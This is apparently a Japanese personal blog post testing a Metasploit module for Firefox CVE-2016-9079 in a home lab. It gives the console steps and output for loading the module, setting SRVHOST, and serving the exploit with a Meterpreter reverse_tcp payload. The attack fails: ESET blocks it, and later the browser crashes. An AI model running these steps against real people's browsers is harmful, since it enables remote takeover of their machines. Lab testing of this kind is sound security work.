Image: Firefox 50.0.1以前にある脆弱性を利用してコードを遠隔実行させる [Metasploit]

以前、Metasploitを使ってMS14-064 (CVE-2014-6332) 脆弱性を利用してWindows XPのInternet Explorer 8でコードを遠隔実行させるテストに成功した。

MS14-064脆弱性を利用してXP IE8でコードを遠隔実行させる [Metasploit] - Diary on wind

今回はFirefox 50.0.2で修正された脆弱性 (CVE-2016-9079) を突いてみる。攻撃者が用意したWebページに誘うことで攻撃対象者のWindows上で任意のコードを実行させることができる。

テスト環境

クライアント(攻撃対象者)はWindows XP SP3 + Firefox 46.0.1。XPに正式対応するFirefoxの最終バージョンはESR 52.9.0なので、さすがに時代遅れのXPユーザーでもこの脆弱性を持つバージョンを使用している人は居ないと考えられる。Windows 2000では対応するバージョンはFirefox 10あたりだと思うが、古すぎて逆に効果がないかもしれないし、それ以前にユーザーが全く居ないだろう。そこまでテストされていないので不明。

この脆弱性をテストするモジュールは標準では付属しないが、Exploit DatabaseにID 41151 確認済みとして掲載されている。以下リンクよりダウンロードできる。

Mozilla Firefox < 50.0.2 - ‘nsSMILTimeContainer::NotifyTimeChange()’ Remote Code Execution (Metasploit) - Windows remote Exploit>

実施方法

ホストでMetasploit Consoleを起動(Windows版の場合、インストール先のbinフォルダー内にあるバッチファイルを実行する)。reload_allを実行してモジュールを再読込。

msf6 > reload_all
[*] Reloading modules from all module paths...
Unable to load the EventMachine C extension; To use the pure-ruby reactor, require 'em/pure_ruby'
Unable to load the EventMachine C extension; To use the pure-ruby reactor, require 'em/pure_ruby'
[-] WARNING! The following modules could not be loaded!
[-]     F:/metasploit-framework/embedded/framework/modules/auxiliary/gather/chrome_debugger.rb
[-]     F:/metasploit-framework/embedded/framework/modules/auxiliary/dos/smb/smb_loris.rb
[-]     F:/metasploit-framework/embedded/framework/modules/auxiliary/dos/http/cable_haunt_websocket_dos.rb

search 41151で出てくる名称を確認する。useコマンドを使ってモジュールを読み込み、show optionsで必要なオプションを確認する。他PCに対して攻撃テストを行う場合は、SRVHOSTに自PCのIPアドレスを指定する。set SRVHOST aaa.bbb.ccc.dddみたいに。

msf6 > search 41151

Matching Modules
================

   #  Name                   Disclosure Date  Rank    Check  Description
   -  ----                   ---------------  ----    -----  -----------
   0  exploit/firefox/41151  2016-11-30       normal  No     Firefox nsSMILTimeContainer::NotifyTimeChange() RCE


Interact with a module by name or index. For example info 0, use 0 or use exploit/firefox/41151

msf6 > use exploit/firefox/41151
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(firefox/41151) > show options

Module options (exploit/firefox/41151):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SRVHOST      0.0.0.0          yes       The local host or network interface to listen on. This must be an ad
                                           dress on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT      8080             yes       The local port to listen on.
   SSL          false            no        Negotiate SSL for incoming connections
   SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                       no        The URI to use for this exploit (default is random)
   UsePostHTML  false            yes       Rewrite page with arbitrary HTML after successful exploitation.  NOT
                                           E: if set to true, you should probably rewrite data/exploits/ff_smil
                                           _uaf/post.html to something useful!


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.10     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Mozilla Firefox

Payloadを任意で差し替えて、exploitコマンドを実行するとサーバーが開始する。

msf6 exploit(firefox/41151) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(firefox/41151) >
[*] Using URL: http://192.168.1.10:8080/MF6p8m5iizK3Mu0
[*] Server started.
[*] 192.168.1.14     41151 - Got request: /MF6p8m5iizK3Mu0
[*] 192.168.1.14     41151 - From: Mozilla/5.0 (Windows NT 5.1; rv:52.0) Gecko/20100101 Firefox/52.0
[*] 192.168.1.14     41151 - Sending exploit HTML ...
[*] 192.168.1.14     41151 - Got request: /MF6p8m5iizK3Mu0/worker.js
[*] 192.168.1.14     41151 - From: Mozilla/5.0 (Windows NT 5.1; rv:52.0) Gecko/20100101 Firefox/52.0
[*] 192.168.1.14     41151 - Sending worker thread Javascript ...

攻撃対象PCのFirefoxにて、Using URLに書かれているアドレスにアクセスする。

さすがにESET Smart Securityでトロイの木馬として検出され、ブラウザがページを読み込む前に接続が切断されてしまった。この辺りはセキュリティソフトとして当然ではあるが、さすがだ。

Image: ESET Smart Security 6 ログファイル

ESETのウェブアクセス保護とファイルリアルタイム保護を無効にして、再度ページへのアクセスを試みる。

すると、何かのJavascriptが読み込まれた瞬間にブラウザがクラッシュして閉じてしまった。何回かブラウザを開き直して同じページを開いたが、同様の結果になった。Payloadの設定が悪かったかもしれない。もしかしたら、WindowsやFirefoxの脆弱性対象となるバージョンが限られているかもしれない。コード実行が意図したとおりにならなかったものの、クラッシュというだけでも不穏な挙動ではある。ESETがちゃんと脅威を検知してブロックしたことが分かっただけでも、収穫になったとしよう。


※コメント欄が表示されない場合はdisqusについてJavascriptが有効であることを確認して下さい.